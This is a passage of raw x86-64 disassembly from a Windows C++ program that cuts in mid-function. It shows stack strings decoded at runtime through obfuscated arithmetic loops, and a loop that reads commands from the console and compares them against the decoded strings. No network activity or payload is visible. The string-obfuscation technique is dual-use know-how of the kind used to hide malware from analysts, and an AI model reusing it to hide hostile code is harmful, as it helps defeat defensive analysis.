mov byte [rbp + rax + 0xa70], r8b
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x15
jb 0x1400f98d3
lea rcx, [rbp + 0xa70]
call fcn.1400f2b40
mov dword [rbp + 0xc0], 0x392b3881
mov dword [rbp + 0xc4], 0x35559129
mov dword [rbp + 0xc8], 0x39373939
mov dword [rbp + 0xcc], 0x44333a35
mov dword [rbp + 0xd0], 0x3c298560
mov dword [rbp + 0xd4], 0x7f2d3a28
mov dword [rbp + 0xd8], 0x7bc7c5d2
mov dword [rbp + 0xdc], 0xcccbc6c3
mov dword [rbp + 0xe0], 0x73c5d976
mov dword [rbp + 0xe4], 0xd4dac6cb
mov dword [rbp + 0xe8], 0xdcd66ddc
mov dword [rbp + 0xec], 0x679cd2de
mov dword [rbp + 0xf0], 0xd164dfd1
mov dword [rbp + 0xf4], 0xe8da61d3
mov dword [rbp + 0xf8], 0xe4eee6ea
mov dword [rbp + 0xfc], 0xe058e2e9
mov dword [rbp + 0x100], 0xfde455fb
mov dword [rbp + 0x104], 0xf3e7fbe3
mov dword [rbp + 0x108], 0xfc4cf1f5
mov dword [rbp + 0x10c], 0xf0e149e6
mov dword [rbp + 0x110], 0xfd44f1f2
mov dword [rbp + 0x114], 0x80ed41f9
mov dword [rbp + 0x118], 0x3b808694
mov dword [rbp + 0x11c], 0xc9389485
mov dword [rbp + 0x120], 0x83989e87
mov dword [rbp + 0x124], 0x81c29d99
mov dword [rbp + 0x128], 0xd5988590
mov word [rbp + 0x12c], 0x93c
xor eax, eax
mov qword [rbp + 0x12e], rax
mov word [rbp + 0x136], ax
mov byte [rbp + 0x138], al
mov qword [rsp + 0x50], r14
mov rax, qword [rsp + 0x50]
movabs r9, 0x9c2bee3741cedc69
nop
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rbp + rax + 0xc0]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0x21
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax + 0xc0], r8b
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x79
jb 0x1400f9a70
lea rcx, [rbp + 0xc0]
call fcn.1400f2b40
mov dword [rbp + 0x1b0], 0xe4dfd249
mov dword [rbp + 0x1b4], 0xd8a897de
mov dword [rbp + 0x1b8], 0xa6d8e2d5
mov dword [rbp + 0x1bc], 0x9898a5d2
mov dword [rbp + 0x1c0], 0xada4d5a3
mov dword [rbp + 0x1c4], 0x98ae90ab
mov dword [rbp + 0x1c8], 0xb7dcefad
mov dword [rbp + 0x1cc], 0xc7b58e8a
mov dword [rbp + 0x1d0], 0x87888abf
mov dword [rbp + 0x1d4], 0xbbb9bbca
mov dword [rbp + 0x1d8], 0x828088ce
mov dword [rbp + 0x1dc], 0xa1f0ba87
mov dword [rbp + 0x1e0], 0x8ab8b387
mov dword [rbp + 0x1e4], 0x8abff982
mov dword [rbp + 0x1e8], 0xacb489fe
mov dword [rbp + 0x1ec], 0x9190e197
mov dword [rbp + 0x1f0], 0xac92ac97
mov dword [rbp + 0x1f4], 0x9aa7e999
mov dword [rbp + 0x1f8], 0x679ea6ee
mov dword [rbp + 0x1fc], 0x5b5b675d
mov dword [rbp + 0x200], 0x635f1569
mov dword [rbp + 0x204], 0x6d6e526e
mov dword [rbp + 0x208], 0xe3f25159
xor eax, eax
mov qword [rbp + 0x20c], rax
mov word [rbp + 0x214], ax
mov qword [rsp + 0x50], r14
mov rax, qword [rsp + 0x50]
movabs r9, 0xd3d69ad3de8928b5
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rbp + rax + 0x1b0]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0xd
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax + 0x1b0], r8b
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x66
jb 0x1400f9bd4
lea rcx, [rbp + 0x1b0]
call fcn.1400f2b40
nop
lea rcx, [rbp + 0x1590]
call fcn.1400f1dd0
nop
lea rcx, [rbp + 0x1510]
call fcn.1400f1dd0
lea rcx, [rbp + 0x1510]
call fcn.1400f1e30
lea rdx, [0x140240cab]
lea rcx, [rbp + 0x13c0]
call fcn.1400fe070
test al, al
jne 0x1400fa0f7
lea rdx, [0x140240cab]
lea rcx, [rbp + 0x1570]
call fcn.1400f1e70
nop
lea rcx, [rbp + 0x13c0]
call fcn.1400f1dc0
mov rsi, rax
lea rcx, [rbp + 0x13c0]
call fcn.1400fcc80
mov r15, rax
cmp rsi, rax
je 0x1400f9ce0
cmp byte [rsi], 0x2e
je 0x1400f9ce0
lea edi, [r14 + 1]
movsxd rdx, edi
xor r8d, r8d
lea rcx, [rbp + 0x1570]
call fcn.1400f1d20
movzx ebx, byte [rsi]
movsxd rdx, r14d
lea rcx, [rbp + 0x1570]
call fcn.1400fca90
mov byte [rax], bl
mov r14d, edi
inc rsi
cmp rsi, r15
jne 0x1400f9ca6
lea rdx, [rbp + 0x1570]
lea rcx, [rbp + 0x13c0]
call fcn.1400fcd90
mov dword [rbp + 0xc30], 0xa39aab58
mov word [rbp + 0xc34], 0xa596
mov byte [rbp + 0xc36], 0x3c
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xc37], xmm0
mov word [rbp + 0xc47], ax
xor r14d, r14d
mov qword [rsp + 0x50], r14
mov rax, qword [rsp + 0x50]
movabs r9, 0x63e60ed38ebb6807
nop word [rax + rax]
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rbp + rax + 0xc30]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x31
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax + 0xc30], r8b
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x19
jb 0x1400f9d40
lea r8, [rbp + 0xc30]
lea rdx, [rbp + 0x13c0]
lea rcx, [rbp + 0x12b8]
call fcn.1400fd7a0
mov rdx, rax
lea rcx, [rbp + 0x13c0]
call fcn.1400fcdc0
lea rcx, [rbp + 0x12b8]
call fcn.1400f1dd0
mov dword [rbp + 0x990], 0x7886806d
mov dword [rbp + 0x994], 0x7e8c6887
mov dword [rbp + 0x998], 0x31307e76
mov word [rbp + 0x99c], 0x1732
mov byte [rbp + 0x99e], 0x1e
xor eax, eax
mov word [rbp + 0x99f], ax
mov qword [rsp + 0x50], r14
mov rax, qword [rsp + 0x50]
movabs r9, 0xc14adee8af192d02
nop
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rbp + rax + 0x990]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0xe
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax + 0x990], r8b
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x11
jb 0x1400f9e10
lea rcx, [rbp + 0x990]
call fcn.1400f2b40
mov edx, 8
lea rcx, [rbp + 0x13b8]
call fcn.1400fb320
lea rax, [rbp + 0x12d8]
mov qword [rsp + 0x50], rax
lea rdx, str.save
lea rcx, [rbp + 0x12d8]
call fcn.1400f1e70
mov rsi, rax
lea rax, [rbp + 0x12f8]
mov qword [rbp + 0x850], rax
lea rdx, [rbp + 0x14f0]
lea rcx, [rbp + 0x12f8]
call fcn.1400fce60
mov rdi, rax
lea rax, [rbp + 0x1318]
mov qword [rbp + 0x580], rax
lea rdx, [rbp + 0x14d0]
lea rcx, [rbp + 0x1318]
call fcn.1400fce60
mov rbx, rax
lea rdx, [rbp + 0x13e0]
lea rcx, [rbp + 0xe20]
call fcn.1400fc9b0
nop
movzx ecx, byte [rsp + 0x58]
mov byte [rsp + 0x40], cl
mov ecx, dword [rsp + 0x5c]
mov byte [rsp + 0x38], cl
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rbx
mov r9, rax
mov r8, r12
mov rdx, r13
lea rcx, [rbp + 0x13b8]
call fcn.14010ff40
nop
mov r9, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov dword [rbp + 0xb00], 0xc230cc33
mov dword [rbp + 0xb04], 0x4bf6c23a
mov word [rbp + 0xb08], 0xf547
mov byte [rbp + 0xb0a], 0xd2
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xb0b], xmm0
mov dword [rbp + 0xb1b], eax
mov qword [rsp + 0x50], r14
mov rax, qword [rsp + 0x50]
movabs r10, 0x255a92af2abbacba
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rbp + rax + 0xb00]
add rcx, r10
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x16
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax + 0xb00], r8b
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x1f
jb 0x1400f9f80
lea rdx, [rbp + 0xb00]
mov rcx, r9
call fcn.1400fdca0
mov rcx, rax
lea rdx, [rbp + 0x13c0]
call fcn.1400fde70
lea rdx, [0x1400fde90]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp + 0x13b8]
call fcn.1400fb330
mov rbx, rax
lea rdx, [rbp + 0x13c0]
lea rcx, [rbp + 0x1338]
call fcn.1400fce60
mov rdx, rbx
mov rcx, rax
call fcn.140110980
mov r9, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov dword [rbp + 0xcf0], 0x96849083
mov word [rbp + 0xcf4], 0x3590
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xcf6], xmm0
mov byte [rbp + 0xd06], al
mov qword [rsp + 0x50], r14
mov rax, qword [rsp + 0x50]
movabs r10, 0x3cc27e76750383d8
nop dword [rax]
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rbp + rax + 0xcf0]
add rcx, r10
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0x18
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax + 0xcf0], r8b
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x17
jb 0x1400fa070
lea rdx, [rbp + 0xcf0]
mov rcx, r9
call fcn.1400fdca0
lea rdx, [0x1400fde90]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x13b8]
call fcn.1400fb340
nop
lea rcx, [rbp + 0x1570]
jmp 0x1400fac01
mov word [rbp + 0x9e0], 0xd1fe
mov byte [rbp + 0x9e2], 0x32
xor eax, eax
mov qword [rbp + 0x9e3], rax
mov dword [rbp + 0x9eb], eax
mov byte [rbp + 0x9ef], al
mov qword [rsp + 0x50], r14
mov rax, qword [rsp + 0x50]
movabs r9, 0xcd25187949c4a758
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rbp + rax + 0x9e0]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x68
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax + 0x9e0], r8b
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x10
jb 0x1400fa130
lea rcx, [rbp + 0x9e0]
call fcn.1400f2b40
lea rcx, [rbp + 0x1470]
call fcn.1400f1eb0
nop
lea rdx, [rbp + 0x1470]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.1400fe030
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x1400fabfa
movabs rsi, 0x909759bb0a9c481d
movabs r15, 0x75db4f32b4f716b2
nop word [rax + rax]
lea rdx, [rbp + 0x1470]
lea rcx, [rbp + 0x14b0]
call fcn.1400fce60
nop
lea rcx, [rbp + 0x14b0]
call fcn.1400f1dc0
mov rbx, rax
lea rcx, [rbp + 0x14b0]
call fcn.1400fcc80
mov rdi, rax
cmp rbx, rax
je 0x1400fa22a
movsx ecx, byte [rbx]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_tolower]
mov byte [rbx], al
inc rbx
cmp rbx, rdi
jne 0x1400fa217
mov r9d, 4
xor r8d, r8d
lea rdx, [rbp + 0x1410]
lea rcx, [rbp + 0x14b0]
call fcn.1400fcc20
nop
mov dword [rbp + 0xd10], 0x60262432
mov word [rbp + 0xd14], 0xe91e
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xd16], xmm0
mov word [rbp + 0xd26], ax
mov qword [rsp + 0x50], r14
mov rax, qword [rsp + 0x50]
cmp rax, 0x18
jae 0x1400fa2ce
nop dword [rax]
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rbp + rax + 0xd10]
add rcx, rsi
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0x35
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax + 0xd10], r8b
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x18
jb 0x1400fa280
lea rdx, [rbp + 0xd10]
lea rcx, [rbp + 0x14b0]
call fcn.1400fe070
xorps xmm0, xmm0
test al, al
jne 0x1400facdc
mov dword [rbp + 0xc90], 0xe7f3e0fd
mov byte [rbp + 0xc94], 0x68
xor eax, eax
movups xmmword [rbp + 0xc95], xmm0
mov qword [rbp + 0xca5], rax
mov byte [rbp + 0xcad], al
mov qword [rsp + 0x50], r14
mov rax, qword [rsp + 0x50]
cmp rax, 0x1e
jae 0x1400fa371
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rbp + rax + 0xc90]
add rcx, r15
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0x22
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax + 0xc90], r8b
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x1e
jb 0x1400fa323
lea rdx, [rbp + 0xc90]
lea rcx, [rbp + 0x1410]
call fcn.1400fe070
test al, al
jne 0x1400facbe
mov dword [rbp + 0xd30], 0x5c2e5a23
mov byte [rbp + 0xd34], 0xba
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xd35], xmm0
mov byte [rbp + 0xd45], al
mov qword [rsp + 0x50], r14
mov rax, qword [rsp + 0x50]
cmp rax, 0x16
jae 0x1400fa428
movabs r15, 0xa065c3390cab2a67
nop dword [rax]
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rbp + rax + 0xd30]
add rcx, r15
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0x2f
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax + 0xd30], r8b
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x16
jb 0x1400fa3d0
movabs r15, 0x75db4f32b4f716b2
lea rdx, [rbp + 0xd30]
lea rcx, [rbp + 0x1410]
call fcn.1400fe070
test al, al
je 0x1400fab1b
mov dword [rbp + 0xbf0], 0x7b06007f
mov word [rbp + 0xbf4], 0x505
mov byte [rbp + 0xbf6], 0x86
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xbf7], xmm0
mov qword [rbp + 0xc07], rax
mov byte [rbp + 0xc0f], al
mov qword [rsp + 0x50], r14
mov rax, qword [rsp + 0x50]
cmp rax, 0x20
jae 0x1400fa4e8
movabs r15, 0x9b5facbc0f17dac2
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rbp + rax + 0xbf0]
add rcx, r15
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x4e
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax + 0xbf0], r8b
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x20
jb 0x1400fa490
movabs r15, 0x75db4f32b4f716b2
lea rdx, [rbp + 0xbf0]
lea rcx, [rbp + 0x13f0]
call fcn.1400f1e70
nop
lea rcx, [rbp + 0x1470]
call fcn.1400f1db0
cmp rax, 5
jbe 0x1400fa617
mov r9, 0xffffffffffffffff
lea r8d, [r9 + 6]
lea rdx, [rbp + 0x1358]
lea rcx, [rbp + 0x1470]
call fcn.1400fcc20
mov rdx, rax
lea rcx, [rbp + 0x13f0]
call fcn.1400fcdc0
lea rcx, [rbp + 0x1358]
call fcn.1400f1dd0
lea rcx, [rbp + 0x13f0]
call fcn.1400f1db0
cmp rax, 1
jbe 0x1400fa617
lea rcx, [rbp + 0x13f0]
call fcn.1400f1db0
cmp rax, 1
jbe 0x1400fa617
lea rdx, [0x140240cab]
lea rcx, [rbp + 0x1550]
call fcn.1400f1e70
nop
lea rcx, [rbp + 0x13f0]
call fcn.1400f1dc0
mov rsi, rax
lea rcx, [rbp + 0x13f0]
call fcn.1400fcc80
mov r15, rax
cmp rsi, rax
je 0x1400fa5ea
nop
cmp byte [rsi], 0x2e
je 0x1400fa5ea
lea edi, [r14 + 1]
movsxd rdx, edi
xor r8d, r8d
lea rcx, [rbp + 0x1550]
call fcn.1400f1d20
movzx ebx, byte [rsi]
movsxd rdx, r14d
lea rcx, [rbp + 0x1550]
call fcn.1400fca90
mov byte [rax], bl
mov r14d, edi
inc rsi
cmp rsi, r15
jne 0x1400fa5b0
lea rdx, [rbp + 0x1550]
lea rcx, [rbp + 0x13f0]
call fcn.1400fcd90
nop
lea rcx, [rbp + 0x1550]
call fcn.1400f1dd0
xor r14d, r14d
movabs r15, 0x75db4f32b4f716b2
mov dword [rbp + 0xc50], 0xb384b3fe
mov word [rbp + 0xc54], 0xb1bc
mov byte [rbp + 0xc56], socket
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xc57], xmm0
mov word [rbp + 0xc67], ax
mov qword [rsp + 0x50], r14
mov rax, qword [rsp + 0x50]
cmp rax, 0x19
jae 0x1400fa6b8
movabs r15, 0x67c62ae5d5324fda
nop
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rbp + rax + 0xc50]
add rcx, r15
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0xa
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax + 0xc50], r8b
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x19
jb 0x1400fa660
movabs r15, 0x75db4f32b4f716b2
lea r8, [rbp + 0xc50]
lea rdx, [rbp + 0x13f0]
lea rcx, [rbp + 0x1378]
call fcn.1400fd7a0
mov rdx, rax
lea rcx, [rbp + 0x13f0]
call fcn.1400fcdc0
lea rcx, [rbp + 0x1378]
call fcn.1400f1dd0
mov edx, 8
lea rcx, [rbp + 0x13b0]
call fcn.1400fb320
lea rax, [rbp + 0x1178]
mov qword [rsp + 0x50], rax
lea rdx, [rbp + 0x1410]
lea rcx, [rbp + 0x1178]
call fcn.1400fce60
mov rsi, rax
lea rax, [rbp + 0xff8]
mov qword [rbp + 0x850], rax
lea rdx, [rbp + 0x14f0]
lea rcx, [rbp + 0xff8]
call fcn.1400fce60
mov rdi, rax
lea rax, [rbp + 0x1018]
mov qword [rbp + 0x580], rax
lea rdx, [rbp + 0x14d0]
lea rcx, [rbp + 0x1018]
call fcn.1400fce60
mov rbx, rax
lea rdx, [rbp + 0x13e0]
lea rcx, [rbp + 0xe10]
call fcn.1400fc9b0
nop
movzx ecx, byte [rsp + 0x58]
mov byte [rsp + 0x40], cl
mov ecx, dword [rsp + 0x5c]
mov byte [rsp + 0x38], cl
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rbx
mov r9, rax
mov r8, r12
mov rdx, r13
lea rcx, [rbp + 0x13b0]
call fcn.14010ff40
nop
mov dword [rbp + 0xcd0], 0x283e2a3b
mov byte [rbp + 0xcd4], 0xb2
xor eax, eax
mov qword [rbp + 0xcd5], rax
mov dword [rbp + 0xcdd], eax
mov byte [rbp + 0xce1], al
mov qword [rsp + 0x50], r14
mov rax, qword [rsp + 0x50]
cmp rax, 0x12
jae 0x1400fa84a
movabs r15, 0x976eae672cee0dc9
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rbp + rax + 0xcd0]
add rcx, r15
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x7f
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax + 0xcd0], r8b
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x12
jb 0x1400fa7f2
movabs r15, 0x75db4f32b4f716b2
lea rdx, [rbp + 0xcd0]
lea rcx, [rbp + 0x1410]
call fcn.1400fe070
test al, al
je 0x1400faa17
mov r9, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov dword [rbp + 0xb90], 0x243e2a3b
mov dword [rbp + 0xb94], 0x23902820
mov word [rbp + 0xb98], 0x8d3f
mov byte [rbp + 0xb9a], 0xac
xor eax, eax
mov qword [rbp + 0xb9b], rax
mov qword [rsp + 0x50], r14
mov rax, qword [rsp + 0x50]
cmp rax, 0x13
jae 0x1400fa90b
movabs r15, 0xb814269e3bba0069
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rbp + rax + 0xb90]
add rcx, r15
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0x21
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax + 0xb90], r8b
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x13
jb 0x1400fa8b3
movabs r15, 0x75db4f32b4f716b2
lea rdx, [rbp + 0xb90]
mov rcx, r9
call fcn.1400fdca0
mov rcx, rax
lea rdx, [rbp + 0x13f0]
call fcn.1400fde70
lea rdx, [0x1400fde90]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp + 0x13b0]
call fcn.1400fb330
mov rbx, rax
lea rdx, [rbp + 0x13f0]
lea rcx, [rbp + 0x1038]
call fcn.1400fce60
mov rdx, rbx
mov rcx, rax
call fcn.140110980
mov r9, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov dword [rbp + 0xc70], 0x5cae5aa3
mov word [rbp + 0xc74], 0x3d5e
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xc76], xmm0
mov dword [rbp + 0xc86], eax
mov word [rbp + 0xc8a], ax
mov qword [rsp + 0x50], r14
mov rax, qword [rsp + 0x50]
cmp rax, 0x1c
jae 0x1400faa0b
movabs r15, 0xf55e0219efecb0a7
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rbp + rax + 0xc70]
add rcx, r15
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0x6f
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax + 0xc70], r8b
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x1c
jb 0x1400fa9b3
movabs r15, 0x75db4f32b4f716b2
lea rdx, [rbp + 0xc70]
jmp 0x1400faadf
lea rdx, [rbp + 0x1410]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400fde70
mov r9, rax
mov dword [rbp + 0xb20], 0xadab5710
mov dword [rbp + 0xb24], 0x52aea6ad
mov word [rbp + 0xb28], 0x294c
xor eax, eax
mov qword [rbp + 0xb2a], rax
mov word [rbp + 0xb32], ax
mov byte [rbp + 0xb34], al
mov qword [rsp + 0x50], r14
mov rax, qword [rsp + 0x50]
cmp rax, 0x15
jae 0x1400faad8
movabs r15, 0xb358df5206970e28
nop word [rax + rax]
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rbp + rax + 0xb20]
add rcx, r15
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x18
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax + 0xb20], r8b
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x15
jb 0x1400faa80
movabs r15, 0x75db4f32b4f716b2
lea rdx, [rbp + 0xb20]
mov rcx, r9
call fcn.1400fdca0
lea rdx, [0x1400fde90]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x13b0]
call fcn.1400fb340
nop
lea rcx, [rbp + 0x13f0]
call fcn.1400f1dd0
movabs rsi, 0x909759bb0a9c481d
mov dword [rbp + 0xd90], 0x4b749768
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xd94], xmm0
mov byte [rbp + 0xda4], al
mov qword [rsp + 0x50], r14
mov rax, qword [rsp + 0x50]
cmp rax, 0x15
jae 0x1400faba9
movabs r15, 0xa87c475e18a1250d
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rbp + rax + 0xd90]
add rcx, r15
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x5b
mov rax, qword [rsp + 0x50]
mov byte [rbp + rax + 0xd90], r8b
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x15
jb 0x1400fab51
movabs r15, 0x75db4f32b4f716b2
lea rcx, [rbp + 0xd90]
call fcn.1400f2b40
nop
lea rcx, [rbp + 0x1410]
call fcn.1400f1dd0
nop
lea rcx, [rbp + 0x14b0]
call fcn.1400f1dd0
lea rdx, [rbp + 0x1470]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.1400fe030
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
jne 0x1400fa1e0
lea rcx, [rbp + 0x1470]
call fcn.1400f1dd0
nop
lea rcx, [rbp + 0x13e0]
call fcn.1400f3320
nop
lea rcx, [rbp + 0x1450]
call fcn.1400f1dd0
nop
lea rcx, [rbp + 0x13c0]
call fcn.1400f1dd0
nop
lea rcx, [rbp + 0x1490]
call fcn.1400f1dd0
nop
lea rcx, [rbp + 0x14f0]
call fcn.1400f1dd0
nop
lea rcx, [rbp + 0x14d0]
call fcn.1400f1dd0
xor eax, eax
mov rcx, qword [rbp + 0x3cc0]
xor rcx, rsp
call fcn.1401a75d0
lea r11, [rsp + 0x3e70]
